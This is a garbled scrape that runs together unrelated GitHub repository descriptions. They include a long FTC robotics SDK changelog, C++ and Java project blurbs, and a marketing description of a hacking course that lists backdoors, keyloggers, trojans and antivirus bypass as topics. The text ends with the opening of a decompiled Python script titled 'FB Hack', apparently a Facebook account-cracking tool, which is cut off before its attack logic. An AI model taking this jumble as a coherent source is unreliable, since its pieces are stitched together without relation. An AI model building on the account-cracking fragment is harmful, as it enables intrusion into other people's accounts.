finishModeSwitchIfNecessary method for ModernRoboticsUsbDcMotorController class. Changes to enhance Modern Robotics USB protocol robustness. Version 2.61 (released on 16.12.19) Blocks Programming mode changes: Fix to correct issue when an exception was thrown because an OpticalDistanceSensor object appears twice in the hardware map (the second time as a LightSensor). Version 2.6 (released on 16.12.16) Fixes for Gyro class: Improve (decrease) sensor refresh latency. fix isCalibrating issues. Blocks Programming mode changes: Blocks now ignores a device in the configuration xml if the name is empty. Other devices work in configuration work fine. Version 2.5 (internal release on released on 16.12.13) Blocks Programming mode changes: Added blocks support for AdafruitBNO055IMU. Added Download Op Mode button to FtcBocks.html. Added support for copying blocks in one OpMode and pasting them in an other OpMode. The clipboard content is stored on the phone, so the programming mode server must be running. Modified Utilities section of the toolbox. In Programming Mode, display information about the active connections. Fixed paste location when workspace has been scrolled. Added blocks support for the android Accelerometer. Fixed issue where Blocks Upload Op Mode truncated name at first dot. Added blocks support for Android SoundPool. Added type safety to blocks for Acceleration. Added type safety to blocks for AdafruitBNO055IMU.Parameters. Added type safety to blocks for AnalogInput. Added type safety to blocks for AngularVelocity. Added type safety to blocks for Color. Added type safety to blocks for ColorSensor. Added type safety to blocks for CompassSensor. Added type safety to blocks for CRServo. Added type safety to blocks for DigitalChannel. Added type safety to blocks for ElapsedTime. Added type safety to blocks for Gamepad. Added type safety to blocks for GyroSensor. Added type safety to blocks for IrSeekerSensor. Added type safety to blocks for LED. Added type safety to blocks for LightSensor. Added type safety to blocks for LinearOpMode. Added type safety to blocks for MagneticFlux. Added type safety to blocks for MatrixF. Added type safety to blocks for MrI2cCompassSensor. Added type safety to blocks for MrI2cRangeSensor. Added type safety to blocks for OpticalDistanceSensor. Added type safety to blocks for Orientation. Added type safety to blocks for Position. Added type safety to blocks for Quaternion. Added type safety to blocks for Servo. Added type safety to blocks for ServoController. Added type safety to blocks for Telemetry. Added type safety to blocks for Temperature. Added type safety to blocks for TouchSensor. Added type safety to blocks for UltrasonicSensor. Added type safety to blocks for VectorF. Added type safety to blocks for Velocity. Added type safety to blocks for VoltageSensor. Added type safety to blocks for VuforiaLocalizer.Parameters. Added type safety to blocks for VuforiaTrackable. Added type safety to blocks for VuforiaTrackables. Added type safety to blocks for enums in AdafruitBNO055IMU.Parameters. Added type safety to blocks for AndroidAccelerometer, AndroidGyroscope, AndroidOrientation, and AndroidTextToSpeech. Version 2.4 (released on 16.11.13) Fix to avoid crashing for nonexistent resources. Blocks Programming mode changes: Added blocks to support OpenGLMatrix, MatrixF, and VectorF. Added blocks to support AngleUnit, AxesOrder, AxesReference, CameraDirection, CameraMonitorFeedback, DistanceUnit, and TempUnit. Added blocks to support Acceleration. Added blocks to support LinearOpMode.getRuntime. Added blocks to support MagneticFlux and Position. Fixed typos. Made blocks for ElapsedTime more consistent with other objects. Added blocks to support Quaternion, Velocity, Orientation, AngularVelocity. Added blocks to support VuforiaTrackables, VuforiaTrackable, VuforiaLocalizer, VuforiaTrackableDefaultListener. Fixed a few blocks. Added type checking to new blocks. Updated to latest blockly. Added default variable blocks to navigation and matrix blocks. Fixed toolbox entry for openGLMatrix_rotation_withAxesArgs. When user downloads Blocks-generated op mode, only the .blk file is downloaded. When user uploads Blocks-generated op mode (.blk file), Javascript code is auto generated. Added DbgLog support. Added logging when a blocks file is read/written. Fixed bug to properly render blocks even if missing devices from configuration file. Added support for additional characters (not just alphanumeric) for the block file names (for download and upload). Added support for OpMode flavor (“Autonomous” or “TeleOp”) and group. Changes to Samples to prevent tutorial issues. Incorporated suggested changes from public pull 216 (“Replace .. paths”). Remove Servo Glitches when robot stopped. if user hits “Cancels” when editing a configuration file, clears the unsaved changes and reverts to original unmodified configuration. Added log info to help diagnose why the Robot Controller app was terminated (for example, by watch dog function). Added ability to transfer log from the controller. Fixed inconsistency for AngularVelocity Limit unbounded growth of data for telemetry. If user does not call telemetry.update() for LinearOpMode in a timely manner, data added for telemetry might get lost if size limit is exceeded. Version 2.35 (released on 16.10.06) Blockly programming mode - Removed unnecesary idle() call from blocks for new project. Version 2.30 (released on 16.10.05) Blockly programming mode: Mechanism added to save Blockly op modes from Programming Mode Server onto local device To avoid clutter, blocks are displayed in categorized folders Added support for DigitalChannel Added support for ModernRoboticsI2cCompassSensor Added support for ModernRoboticsI2cRangeSensor Added support for VoltageSensor Added support for AnalogInput Added support for AnalogOutput Fix for CompassSensor setMode block Vuforia Fix deadlock / make camera data available while Vuforia is running. Update to Vuforia 6.0.117 (recommended by Vuforia and Google to close security loophole). Fix for autonomous 30 second timer bug (where timer was in effect, even though it appeared to have timed out). opModeIsActive changes to allow cleanup after op mode is stopped (with enforced 2 second safety timeout). Fix to avoid reading i2c twice. Updated sample Op Modes. Improved logging and fixed intermittent freezing. Added digital I/O sample. Cleaned up device names in sample op modes to be consistent with Pushbot guide. Fix to allow use of IrSeekerSensorV3. Version 2.20 (released on 16.09.08) Support for Modern Robotics Compass Sensor. Support for Modern Robotics Range Sensor. Revise device names for Pushbot templates to match the names used in Pushbot guide. Fixed bug so that IrSeekerSensorV3 device is accessible as IrSeekerSensor in hardwareMap. Modified computer vision code to require an individual Vuforia license (per legal requirement from PTC). Minor fixes. Blockly enhancements: Support for Voltage Sensor. Support for Analog Input. Support for Analog Output. Support for Light Sensor. Support for Servo Controller. Version 2.10 (released on 16.09.03) Support for Adafruit IMU. Improvements to ModernRoboticsI2cGyro class Block on reset of z axis. isCalibrating() returns true while gyro is calibration. Updated sample gyro program. Blockly enhancements support for android.graphics.Color. added support for ElapsedTime. improved look and legibility of blocks. support for compass sensor. support for ultrasonic sensor. support for IrSeeker. support for LED. support for color sensor. support for CRServo prompt user to configure robot before using programming mode. Provides ability to disable audio cues. various bug fixes and improvements. Version 2.00 (released on 16.08.19) This is the new release for the upcoming 2016-2017 FIRST Tech Challenge Season. Channel change is enabled in the FTC Robot Controller app for Moto G 2nd and 3rd Gen phones. Users can now use annotations to register/disable their Op Modes. Changes in the Android SDK, JDK and build tool requirements (minsdk=19, java 1.7, build tools 23.0.3). Standardized units in analog input. Cleaned up code for existing analog sensor classes. setChannelMode and getChannelMode were REMOVED from the DcMotorController class. This is important - we no longer set the motor modes through the motor controller. setMode and getMode were added to the DcMotor class. ContinuousRotationServo class has been added to the FTC SDK. Range.clip() method has been overloaded so it can support this operation for int, short and byte integers. Some changes have been made (new methods added) on how a user can access items from the hardware map. Users can now set the zero power behavior for a DC motor so that the motor will brake or float when power is zero. Prototype Blockly Programming Mode has been added to FTC Robot Controller. Users can place the Robot Controller into this mode, and then use a device (such as a laptop) that has a Javascript enabled browser to write Blockly-based Op Modes directly onto the Robot Controller. Users can now configure the robot remotely through the FTC Driver Station app. Android Studio project supports Android Studio 2.1.x and compile SDK Version 23 (Marshmallow). Vuforia Computer Vision SDK integrated into FTC SDK. Users can use sample vision targets to get localization information on a standard FTC field. Project structure has been reorganized so that there is now a TeamCode package that users can use to place their local/custom Op Modes into this package. Inspection function has been integrated into the FTC Robot Controller and Driver Station Apps (Thanks Team HazMat… 9277 & 10650!). Audio cues have been incorporated into FTC SDK. Swap mechanism added to FTC Robot Controller configuration activity. For example, if you have two motor controllers on a robot, and you misidentified them in your configuration file, you can use the Swap button to swap the devices within the configuration file (so you do not have to manually re-enter in the configuration info for the two devices). Fix mechanism added to all user to replace an electronic module easily. For example, suppose a servo controller dies on your robot. You replace the broken module with a new module, which has a different serial number from the original servo controller. You can use the Fix button to automatically reconfigure your configuration file to use the serial number of the new module. Improvements made to fix resiliency and responsiveness of the system. For LinearOpMode the user now must for a telemetry.update() to update the telemetry data on the driver station. This update() mechanism ensures that the driver station gets the updated data properly and at the same time. The Auto Configure function of the Robot Controller is now template based. If there is a commonly used robot configuration, a template can be created so that the Auto Configure mechanism can be used to quickly configure a robot of this type. The logic to detect a runaway op mode (both in the LinearOpMode and OpMode types) and to abort the run, then auto recover has been improved/implemented. Fix has been incorporated so that Logitech F310 gamepad mappings will be correct for Marshmallow users. Release 16.07.08 For the ftc_app project, the gradle files have been modified to support Android Studio 2.1.x. Release 16.03.30 For the MIT App Inventor, the design blocks have new icons that better represent the function of each design component. Some changes were made to the shutdown logic to ensure the robust shutdown of some of our USB services. A change was made to LinearOpMode so as to allow a given instance to be executed more than once, which is required for the App Inventor. Javadoc improved/updated. Release 16.03.09 Changes made to make the FTC SDK synchronous (significant change!) waitOneFullHardwareCycle() and waitForNextHardwareCycle() are no longer needed and have been deprecated. runOpMode() (for a LinearOpMode) is now decoupled from the system's hardware read/write thread. loop() (for an OpMode) is now decoupled from the system's hardware read/write thread. Methods are synchronous. For example, if you call setMode(DcMotorController.RunMode.RESET_ENCODERS) for a motor, the encoder is guaranteed to be reset when the method call is complete. For legacy module (NXT compatible), user no longer has to toggle between read and write modes when reading from or writing to a legacy device. Changes made to enhance reliability/robustness during ESD event. Changes made to make code thread safe. Debug keystore added so that user-generated robot controller APKs will all use the same signed key (to avoid conflicts if a team has multiple developer laptops for example). Firmware version information for Modern Robotics modules are now logged. Changes made to improve USB comm reliability and robustness. Added support for voltage indicator for legacy (NXT-compatible) motor controllers. Changes made to provide auto stop capabilities for op modes. A LinearOpMode class will stop when the statements in runOpMode() are complete. User does not have to push the stop button on the driver station. If an op mode is stopped by the driver station, but there is a run away/uninterruptible thread persisting, the app will log an error message then force itself to crash to stop the runaway thread. Driver Station UI modified to display lowest measured voltage below current voltage (12V battery). Driver Station UI modified to have color background for current voltage (green=good, yellow=caution, red=danger, extremely low voltage). javadoc improved (edits and additional classes). Added app build time to About activity for driver station and robot controller apps. Display local IP addresses on Driver Station About activity. Added I2cDeviceSynchImpl. Added I2cDeviceSync interface. Added seconds() and milliseconds() to ElapsedTime for clarity. Added getCallbackCount() to I2cDevice. Added missing clearI2cPortActionFlag. Added code to create log messages while waiting for LinearOpMode shutdown. Fix so Wifi Direct Config activity will no longer launch multiple times. Added the ability to specify an alternate i2c address in software for the Modern Robotics gyro. Release 16.02.09 Improved battery checker feature so that voltage values get refreshed regularly (every 250 msec) on Driver Station (DS) user interface. Improved software so that Robot Controller (RC) is much more resilient and “self-healing” to USB disconnects: If user attempts to start/restart RC with one or more module missing, it will display a warning but still start up. When running an op mode, if one or more modules gets disconnected, the RC & DS will display warnings,and robot will keep on working in spite of the missing module(s). If a disconnected module gets physically reconnected the RC will auto detect the module and the user will regain control of the recently connected module. Warning messages are more helpful (identifies the type of module that’s missing plus its USB serial number). Code changes to fix the null gamepad reference when users try to reference the gamepads in the init() portion of their op mode. NXT light sensor output is now properly scaled. Note that teams might have to readjust their light threshold values in their op modes. On DS user interface, gamepad icon for a driver will disappear if the matching gamepad is disconnected or if that gamepad gets designated as a different driver. Robot Protocol (ROBOCOL) version number info is displayed in About screen on RC and DS apps. Incorporated a display filter on pairing screen to filter out devices that don’t use the “-“ format. This filter can be turned off to show all WiFi Direct devices. Updated text in License file. Fixed formatting error in OpticalDistanceSensor.toString(). Fixed issue on with a blank (“”) device name that would disrupt WiFi Direct Pairing. Made a change so that the WiFi info and battery info can be displayed more quickly on the DS upon connecting to RC. Improved javadoc generation. Modified code to make it easier to support language localization in the future. Release 16.01.04 Updated compileSdkVersion for apps Prevent Wifi from entering power saving mode removed unused import from driver station Corrrected "Dead zone" joystick code. LED.getDeviceName and .getConnectionInfo() return null apps check for ROBOCOL_VERSION mismatch Fix for Telemetry also has off-by-one errors in its data string sizing / short size limitations error User telemetry output is sorted. added formatting variants to DbgLog and RobotLog APIs code modified to allow for a long list of op mode names. changes to improve thread safety of RobocolDatagramSocket Fix for "missing hardware leaves robot controller disconnected from driver station" error fix for "fast tapping of Init/Start causes problems" (toast is now only instantiated on UI thread). added some log statements for thread life cycle. moved gamepad reset logic inside of initActiveOpMode() for robustness changes made to mitigate risk of race conditions on public methods. changes to try and flag when WiFi Direct name contains non-printable characters. fix to correct race condition between .run() and .close() in ReadWriteRunnableStandard. updated FTDI driver made ReadWriteRunnableStanard interface public. fixed off-by-one errors in Command constructor moved specific hardware implmentations into their own package. moved specific gamepad implemnatations to the hardware library. changed LICENSE file to new BSD version. fixed race condition when shutting down Modern Robotics USB devices. methods in the ColorSensor classes have been synchronized. corrected isBusy() status to reflect end of motion. corrected "back" button keycode. the notSupported() method of the GyroSensor class was changed to protected (it should not be public). Release 15.11.04.001 Added Support for Modern Robotics Gyro. The GyroSensor class now supports the MR Gyro Sensor. Users can access heading data (about Z axis) Users can also access raw gyro data (X, Y, & Z axes). Example MRGyroTest.java op mode included. Improved error messages More descriptive error messages for exceptions in user code. Updated DcMotor API Enable read mode on new address in setI2cAddress Fix so that driver station app resets the gamepads when switching op modes. USB-related code changes to make USB comm more responsive and to display more explicit error messages. Fix so that USB will recover properly if the USB bus returns garbage data. Fix USB initializtion race condition. Better error reporting during FTDI open. More explicit messages during USB failures. Fixed bug so that USB device is closed if event loop teardown method was not called. Fixed timer UI issue Fixed duplicate name UI bug (Legacy Module configuration). Fixed race condition in EventLoopManager. Fix to keep references stable when updating gamepad. For legacy Matrix motor/servo controllers removed necessity of appending "Motor" and "Servo" to controller names. Updated HT color sensor driver to use constants from ModernRoboticsUsbLegacyModule class. Updated MR color sensor driver to use constants from ModernRoboticsUsbDeviceInterfaceModule class. Correctly handle I2C Address change in all color sensors Updated/cleaned up op modes. Updated comments in LinearI2cAddressChange.java example op mode. Replaced the calls to "setChannelMode" with "setMode" (to match the new of the DcMotor method). Removed K9AutoTime.java op mode. Added MRGyroTest.java op mode (demonstrates how to use MR Gyro Sensor). Added MRRGBExample.java op mode (demonstrates how to use MR Color Sensor). Added HTRGBExample.java op mode (demonstrates how to use HT legacy color sensor). Added MatrixControllerDemo.java (demonstrates how to use legacy Matrix controller). Updated javadoc documentation. Updated release .apk files for Robot Controller and Driver Station apps. Release 15.10.06.002 Added support for Legacy Matrix 9.6V motor/servo controller. Cleaned up build.gradle file. Minor UI and bug fixes for driver station and robot controller apps. Throws error if Ultrasonic sensor (NXT) is not configured for legacy module port 4 or 5. Release 15.08.03.001 New user interfaces for FTC Driver Station and FTC Robot Controller apps. An init() method is added to the OpMode class. For this release, init() is triggered right before the start() method. Eventually, the init() method will be triggered when the user presses an "INIT" button on driver station. The init() and loop() methods are now required (i.e., need to be overridden in the user's op mode). The start() and stop() methods are optional. A new LinearOpMode class is introduced. Teams can use the LinearOpMode mode to create a linear (not event driven) program model. Teams can use blocking statements like Thread.sleep() within a linear op mode. The API for the Legacy Module and Core Device Interface Module have been updated. Support for encoders with the Legacy Module is now working. The hardware loop has been updated for better performance.
yosefk / FuntraceA fast, small C/C++ function call tracer for x86-64/Linux, supports clang & gcc, ftrace, threads, exceptions & shared libraries
Fdhvdu / ThreadPoolA fastest, exception-safety and pure C++17 thread pool.
glenfant / StopitRaise asynchronous exceptions in other thread, control the timeout of blocks or callables with a context manager or a decorator
bookworm52 / EthicalHackingFromScratchWelcome to my comprehensive course on python programming and ethical hacking. The course assumes you have NO prior knowledge in any of these topics, and by the end of it you'll be at a high intermediate level being able to combine both of these skills to write python programs to hack into computer systems exactly the same way that black hat hackers do. That's not all, you'll also be able to use the programming skills you learn to write any program even if it has nothing to do with hacking. This course is highly practical but it won't neglect the theory, we'll start with basics of ethical hacking and python programming and installing the needed software. Then we'll dive and start programming straight away. You'll learn everything by example, by writing useful hacking programs, no boring dry programming lectures. The course is divided into a number of sections, each aims to achieve a specific goal, the goal is usually to hack into a certain system! We'll start by learning how this system work and its weaknesses, then you'll lean how to write a python program to exploit these weaknesses and hack the system. As we write the program I will teach you python programming from scratch covering one topic at a time. By the end of the course you're going to have a number of ethical hacking programs written by yourself (see below) from backdoors, keyloggers, credential harvesters, network hacking tools, website hacking tools and the list goes on. You'll also have a deep understanding on how computer systems work, how to model problems, design an algorithm to solve problems and implement the solution using python. As mentioned in this course you will learn both ethical hacking and programming at the same time, here are some of the topics that will be covered in the course: Programming topics: Writing programs for python 2 and 3. Using modules and libraries. Variables, types ...etc. Handling user input. Reading and writing files. Functions. Loops. Data structures. Regex. Desiccation making. Recursion. Threading. Object oriented programming. Packet manipulation using scapy. Netfilterqueue. Socket programming. String manipulation. Exceptions. Serialisation. Compiling programs to binary executables. Sending & receiving HTTP requests. Parsing HTML. + more! Hacking topics: Basics of network hacking / penetration testing. Changing MAC address & bypassing filtering. Network mapping. ARP Spoofing - redirect the flow of packets in a network. DNS Spoofing - redirect requests from one website to another. Spying on any client connected to the network - see usernames, passwords, visited urls ....etc. Inject code in pages loaded by any computer connected to the same network. Replace files on the fly as they get downloaded by any computer on the same network. Detect ARP spoofing attacks. Bypass HTTPS. Create malware for Windows, OS X and Linux. Create trojans for Windows, OS X and Linux. Hack Windows, OS X and Linux using custom backdoor. Bypass Anti-Virus programs. Use fake login prompt to steal credentials. Display fake updates. Use own keylogger to spy on everything typed on a Windows & Linux. Learn the basics of website hacking / penetration testing. Discover subdomains. Discover hidden files and directories in a website. Run wordlist attacks to guess login information. Discover and exploit XSS vulnerabilities. Discover weaknesses in websites using own vulnerability scanner. Programs you'll build in this course: You'll learn all the above by implementing the following hacking programs mac_changer - changes MAC Address to anything we want. network_scanner - scans network and discovers the IP and MAC address of all connected clients. arp_spoofer - runs an arp spoofing attack to redirect the flow of packets in the network allowing us to intercept data. packet_sniffer - filters intercepted data and shows usernames, passwords, visited links ....etc dns_spoofer - redirects DNS requests, eg: redirects requests to from one domain to another. file_interceptor - replaces intercepted files with any file we want. code_injector - injects code in intercepted HTML pages. arpspoof_detector - detects ARP spoofing attacks. execute_command payload - executes a system command on the computer it gets executed on. execute_and_report payload - executes a system command and reports result via email. download_and_execute payload - downloads a file and executes it on target system. download_execute_and_report payload - downloads a file, executes it, and reports result by email. reverse_backdoor - gives remote control over the system it gets executed on, allows us to Access file system. Execute system commands. Download & upload files keylogger - records key-strikes and sends them to us by email. crawler - discovers hidden paths on a target website. discover_subdomains - discovers subdomains on target website. spider - maps the whole target website and discovers all files, directories and links. guess_login - runs a wordlist attack to guess login information. vulnerability_scanner - scans a target website for weaknesses and produces a report with all findings. As you build the above you'll learn: Setting up a penetration testing lab to practice hacking safely. Installing Kali Linux and Windows as virtual machines inside ANY operating system. Linux Basics. Linux terminal basics. How networks work. How clients communicate in a network. Address Resolution Protocol - ARP. Network layers. Domain Name System - DNS. Hypertext Transfer Protocol - HTTP. HTTPS. How anti-virus programs work. Sockets. Connecting devices over TCP. Transferring data over TCP. How website work. GET & POST requests. And more! By the end of the course you're going to have programming skills to write any program even if it has nothing to do with hacking, but you'll learn programming by programming hacking tools! With this course you'll get 24/7 support, so if you have any questions you can post them in the Q&A section and we'll respond to you within 15 hours. Notes: This course is created for educational purposes only and all the attacks are launched in my own lab or against devices that I have permission to test. This course is totally a product of Zaid Sabih & zSecurity, no other organisation is associated with it or a certification exam. Although, you will receive a Course Completion Certification from Udemy, apart from that NO OTHER ORGANISATION IS INVOLVED. What you’ll learn 170+ videos on Python programming & ethical hacking Install hacking lab & needed software (on Windows, OS X and Linux) Learn 2 topics at the same time - Python programming & Ethical Hacking Start from 0 up to a high-intermediate level Write over 20 ethical hacking and security programs Learn by example, by writing exciting programs Model problems, design solutions & implement them using Python Write programs in Python 2 and 3 Write cross platform programs that work on Windows, OS X & Linux Have a deep understanding on how computer systems work Have a strong base & use the skills learned to write any program even if its not related to hacking Understand what is Hacking, what is Programming, and why are they related Design a testing lab to practice hacking & programming safely Interact & use Linux terminal Understand what MAC address is & how to change it Write a python program to change MAC address Use Python modules and libraries Understand Object Oriented Programming Write object oriented programs Model & design extendable programs Write a program to discover devices connected to the same network Read, analyse & manipulate network packets Understand & interact with different network layers such as ARP, DNS, HTTP ....etc Write a program to redirect the flow of packets in a network (arp spoofer) Write a packet sniffer to filter interesting data such as usernames and passwords Write a program to redirect DNS requests (DNS Spoofer) Intercept and modify network packets on the fly Write a program to replace downloads requested by any computer on the network Analyse & modify HTTP requests and responses Inject code in HTML pages loaded by any computer on the same network Downgrade HTTPS to HTTP Write a program to detect ARP Spoofing attacks Write payloads to download a file, execute command, download & execute, download execute & report .....etc Use sockets to send data over TCP Send data reliably over TCP Write client-server programs Write a backdoor that works on Windows, OS X and Linux Implement cool features in the backdoor such as file system access, upload and download files and persistence Write a remote keylogger that can register all keystrikes and send them by Email Interact with files using python (read, write & modify) Convert python programs to binary executables that work on Windows, OS X and Linux Convert malware to torjans that work and function like other file types like an image or a PDF Bypass Anti-Virus Programs Understand how websites work, the technologies used and how to test them for weaknesses Send requests towebsites and analyse responses Write a program that can discover hidden paths in a website Write a program that can map a website and discover all links, subdomains, files and directories Extract and submit forms from python Run dictionary attacks and guess login information on login pages Analyse HTML using Python Interact with websites using Python Write a program that can discover vulnerabilities in websites Are there any course requirements or prerequisites? Basic IT knowledge No Linux, programming or hacking knowledge required. Computer with a minimum of 4GB ram/memory Operating System: Windows / OS X / Linux Who this course is for: Anybody interested in learning Python programming Anybody interested in learning ethical hacking / penetration testing Instructor User photo Zaid Sabih Ethical Hacker, Computer Scientist & CEO of zSecurity My name is Zaid Al-Quraishi, I am an ethical hacker, a computer scientist, and the founder and CEO of zSecurity. I just love hacking and breaking the rules, but don’t get me wrong as I said I am an ethical hacker. I have tremendous experience in ethical hacking, I started making video tutorials back in 2009 in an ethical hacking community (iSecuri1ty), I also worked as a pentester for the same company. In 2013 I started teaching my first course live and online, this course received amazing feedback which motivated me to publish it on Udemy. This course became the most popular and the top paid course in Udemy for almost a year, this motivated me to make more courses, now I have a number of ethical hacking courses, each focusing on a specific field, dominating the ethical hacking topic on Udemy. Now I have more than 350,000 students on Udemy and other teaching platforms such as StackSocial, StackSkills and zSecurity. Instructor User photo z Security Leading provider of ethical hacking and cyber security training, zSecurity is a leading provider of ethical hacking and cyber security training, we teach hacking and security to help people become ethical hackers so they can test and secure systems from black-hat hackers. Becoming an ethical hacker is simple but not easy, there are many resources online but lots of them are wrong and outdated, not only that but it is hard to stay up to date even if you already have a background in cyber security. Our goal is to educate people and increase awareness by exposing methods used by real black-hat hackers and show how to secure systems from these hackers. Video course
rick2785 / JavaCodeI specifically cover the following topics: Java primitive data types, declaration statements, expression statements, importing class libraries, excepting user input, checking for valid input, catching errors in input, math functions, if statement, relational operators, logical operators, ternary operator, switch statement, and looping. How class variables differ from local variables, Java Exception handling, the difference between run time and checked exceptions, Arrays, and UML Diagrams. Monsters gameboard, Java collection classes, Java ArrayLists, Linked Lists, manipulating Strings and StringBuilders, Polymorphism, Inheritance, Protected, Final, Instanceof, interfaces, abstract classes, abstract methods. You need interfaces and abstract classes because Java doesn't allow you to inherit from more than one other class. Java threads, Regular Expressions, Graphical User Interfaces (GUI) using Java Swing and its components, GUI Event Handling, ChangeListener, JOptionPane, combo boxes, list boxes, JLists, DefaultListModel, using JScrollpane with JList, JSpinner, JTree, Flow, Border, and Box Layout Managers. Created a calculator layout with Java Swing's GridLayout, GridBagLayout, GridBagConstraints, Font, and Insets. JLabel, JTextField, JComboBox, JSpinner, JSlider, JRadioButton, ButtonGroup, JCheckBox, JTextArea, JScrollPane, ChangeListener, pack, create and delete files and directories. How to pull lists of files from directories and manipulate them, write to and read character streams from files. PrintWriter, BufferedWriter, FileWriter, BufferedReader, FileReader, common file exceptions Binary Streams - DataOutputStream, FileOutputStream, BufferedOutputStream, all of the reading and writing primitive type methods, setup Java JDBC in Eclipse, connect to a MySQL database, query it and get the results of a query. JTables, JEditorPane Swing component. HyperlinkEvent and HyperlinkListener. Java JApplet, Java Servlets with Tomcat, GET and POST methods, Java Server Pages, parsing XML with Java, Java XPath, JDOM2 library, and 2D graphics. *Created a Java Paint Application using swing, events, mouse events, Graphics2D, ArrayList *Designed a Java Video Game like Asteroids with collision detection and shooting torpedos which also played sound in a JFrame, and removed items from the screen when they were destroyed. Rotating polygons, and Making Java Executable. Model View Controller (MVC) The Model is the class that contains the data and the methods needed to use the data. The View is the interface. The Controller coordinates interactions between the Model and View. DESIGN PATTERNS: Strategy design patternis used if you need to dynamically change an algorithm used by an object at run time. The pattern also allows you to eliminate code duplication. It separates behavior from super and subclasses. The Observer pattern is a software design pattern in which an object, called the subject (Publisher), maintains a list of its dependents, called observers (Subscribers), and notifies them automatically of any state changes, usually by calling one of their methods. The Factory design pattern is used when you want to define the class of an object at runtime. It also allows you to encapsulate object creation so that you can keep all object creation code in one place The Abstract Factory Design Pattern is like a factory, but everything is encapsulated. The Singleton pattern is used when you want to eliminate the option of instantiating more than one object. (Scrabble letters app) The Builder Design Pattern is used when you want to have many classes help in the creation of an object. By having different classes build the object you can then easily create many different types of objects without being forced to rewrite code. The Builder pattern provides a different way to make complex objects like you'd make using the Abstract Factory design pattern. The Prototype design pattern is used for creating new objects (instances) by cloning (copying) other objects. It allows for the adding of any subclass instance of a known super class at run time. It is used when there are numerous potential classes that you want to only use if needed at runtime. The major benefit of using the Prototype pattern is that it reduces the need for creating potentially unneeded subclasses. Java Reflection is an API and it's used to manipulate classes and everything in a class including fields, methods, constructors, private data, etc. (TestingReflection.java) The Decorator allows you to modify an object dynamically. You would use it when you want the capabilities of inheritance with subclasses, but you need to add functionality at run time. It is more flexible than inheritance. The Decorator Design Pattern simplifies code because you add functionality using many simple classes. Also, rather than rewrite old code you can extend it with new code and that is always good. (Pizza app) The Command design pattern allows you to store a list of commands for later use. With it you can store multiple commands in a class to use over and over. (ElectronicDevice app) The Adapter pattern is used when you want to translate one interface of a class into another interface. Allows 2 incompatible interfaces to work together. It allows the use of the available interface and the target interface. Any class can work together as long as the Adapter solves the issue that all classes must implement every method defined by the shared interface. (EnemyAttacker app) The Facade pattern basically says that you should simplify your methods so that much of what is done is in the background. In technical terms you should decouple the client from the sub components needed to perform an operation. (Bank app) The Bridge Pattern is used to decouple an abstraction from its implementation so that the two can vary independently. Progressively adding functionality while separating out major differences using abstract classes. (EntertainmentDevice app) In a Template Method pattern, you define a method (algorithm) in an abstract class. It contains both abstract methods and non-abstract methods. The subclasses that extend this abstract class then override those methods that don't make sense for them to use in the default way. (Sandwich app) The Iterator pattern provides you with a uniform way to access different collections of Objects. You can also write polymorphic code because you can refer to each collection of objects because they'll implement the same interface. (SongIterator app) The Composite design pattern is used to structure data into its individual parts as well as represent the inner workings of every part of a larger object. The composite pattern also allows you to treat both groups of parts in the same way as you treat the parts polymorphically. You can structure data, or represent the inner working of every part of a whole object individually. (SongComponent app) The flyweight design pattern is used to dramatically increase the speed of your code when you are using many similar objects. To reduce memory usage the flyweight design pattern shares Objects that are the same rather than creating new ones. (FlyWeightTest app) State Pattern allows an object to alter its behavior when its internal state changes. The object will appear to change its class. (ATMState) The Proxy design pattern limits access to just the methods you want made accessible in another class. It can be used for security reasons, because an Object is intensive to create, or is accessed from a remote location. You can think of it as a gate keeper that blocks access to another Object. (TestATMMachine) The Chain of Responsibility pattern has a group of objects that are expected to between them be able to solve a problem. If the first Object can't solve it, it passes the data to the next Object in the chain. (TestCalcChain) The Interpreter pattern is used to convert one representation of data into another. The context cantains the information that will be interpreted. The expression is an abstract class that defines all the methods needed to perform the different conversions. The terminal or concrete expressions provide specific conversions on different types of data. (MeasurementConversion) The Mediator design pattern is used to handle communication between related objects (Colleagues). All communication is handled by a Mediator Object and the Colleagues don't need to know anything about each other to work together. (TestStockMediator) The Memento design pattern provides a way to store previous states of an Object easily. It has 3 main classes: 1) Memento: The basic object that is stored in different states. 2) Originator: Sets and Gets values from the currently targeted Memento. Creates new Mementos and assigns current values to them. 3) Caretaker: Holds an ArrayList that contains all previous versions of the Memento. It can store and retrieve stored Mementos. (TestMemento) The Visitor design pattern allows you to add methods to classes of different types without much altering to those classes. You can make completely different methods depending on the class used with this pattern. (VisitorTest)
Myhadi / FB Hack#decompiled by PDM31 import os, sys print '\x1b[1;32mSudah punya ID dan Password nya?' print '\x1b[1;32mSilahkan Login ' import os, sys def wa(): os.system('xdg-open https://api.whatsapp.com/send?phone=6281291977644&text=Assalamualaikum') def restart(): ngulang = sys.executable os.execl(ngulang, ngulang, *sys.argv) user = raw_input('ID: ') import getpass sandi = raw_input('Password: ') if sandi == 'indoxploit' and user == 'Borot': print 'Anda Telah Login' sys.exit else: print 'Login GAGAL, Silahkan hubungi ADMIN' wa() restart() import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib from multiprocessing.pool import ThreadPool try: import mechanize except ImportError: os.system('pip2 install mechanize') else: try: import requests except ImportError: os.system('pip2 install requests') from requests.exceptions import ConnectionError from mechanize import Browser reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] def keluar(): print '\x1b[1;91m[!] Keluar' os.sys.exit() def jalan(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(0.1) logo = '\x1b[1;92m\n\xe2\x95\x94\xe2\x95\xa6\xe2\x95\x97\xe2\x94\x8c\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x8c\xe2\x94\x80 \xe2\x95\x94\xe2\x95\x90\xe2\x95\x97\xe2\x95\x94\xe2\x95\x97 \n \xe2\x95\x91\xe2\x95\x91\xe2\x94\x9c\xe2\x94\x80\xe2\x94\xa4\xe2\x94\x9c\xe2\x94\xac\xe2\x94\x98\xe2\x94\x9c\xe2\x94\xb4\xe2\x94\x90\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xa0\xe2\x95\xa3 \xe2\x95\xa0\xe2\x95\xa9\xe2\x95\x97\n\xe2\x95\x90\xe2\x95\xa9\xe2\x95\x9d\xe2\x94\xb4 